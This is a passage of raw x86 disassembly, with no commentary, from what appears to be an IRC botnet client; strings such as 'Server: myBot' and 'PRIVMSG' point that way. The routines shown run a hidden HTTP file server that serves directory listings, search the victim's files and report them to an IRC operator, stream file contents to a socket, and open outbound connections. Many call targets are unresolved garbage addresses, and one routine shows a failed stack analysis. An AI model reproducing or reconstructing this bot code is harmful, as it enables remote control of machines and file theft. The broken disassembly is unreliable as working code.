		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+var_210], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A0A0 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2670E7Fh
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+var_314]
		push	offset asc_4341A0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0781h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2720B88h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 265092Ah


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43416C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC
		call	near ptr 26709D6h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434134
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAF
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25E0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27402E7h
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 27307D6h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDF:				; CODE XREF: sub_40F96B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: sub_40F96B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE93
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE98
; ---------------------------------------------------------------------------


loc_40FE93:				; CODE XREF: sub_40F96B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE98:				; CODE XREF: sub_40F96B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDF
; ---------------------------------------------------------------------------


loc_40FEE7:				; CODE XREF: sub_40F96B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFD:				; CODE XREF: sub_40F96B+315j
		push	esi


loc_40FEFE:				; CODE XREF: sub_40F96B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0D:				; CODE XREF: sub_40F96B+444j
					; sub_40F96B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3C
		push	7D0h
		nop
		call	near ptr 2660E9Fh


loc_40FF3C:				; CODE XREF: sub_40F96B+22Bj
					; sub_40F96B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27402E7h
		test	eax, eax
		jnz	loc_40FB90


loc_40FF54:				; CODE XREF: sub_40F96B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2730000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF97
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40F96B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCB
; ---------------------------------------------------------------------------


loc_40FFB1:				; CODE XREF: sub_40F96B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCB:				; CODE XREF: sub_40F96B+62Aj
					; sub_40F96B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF1	proc near		; CODE XREF: sub_40F531+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F0781h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A9
		push	esi
		push	ebx
		call	near ptr 2720B88h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A2


loc_410036:				; CODE XREF: sub_40FFF1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_41004B:				; DATA XREF: ___:00438128o
		cmp	edi, [ebp+arg_4]


loc_41004E:				; DATA XREF: ___:0043813Co
		jbe	short loc_410053
		mov	edi, [ebp+arg_4]


loc_410053:				; CODE XREF: sub_40FFF1:loc_41004Ej
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009D
		call	dword_4CB5E8
		cmp	eax, 2733h
		jnz	short loc_4100A2
		xor	eax, eax


loc_41009D:				; CODE XREF: sub_40FFF1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410036


loc_4100A2:				; CODE XREF: sub_40FFF1+43j
					; sub_40FFF1+A8j
		push	ebx
		nop
		call	near ptr 265092Ah


loc_4100A9:				; CODE XREF: sub_40FFF1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AE	proc near		; CODE XREF: sub_40F6B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D7


loc_4100C1:				; CODE XREF: sub_4100AE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CB
		mov	byte ptr [esi+edi], 2Fh


loc_4100CB:				; CODE XREF: sub_4100AE+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C1


loc_4100D7:				; CODE XREF: sub_4100AE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DC	proc near		; CODE XREF: sub_401ACD+5298p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5C4
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB654
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAFA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410155
		mov	eax, offset dword_43D808


loc_410155:				; CODE XREF: sub_4100DC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
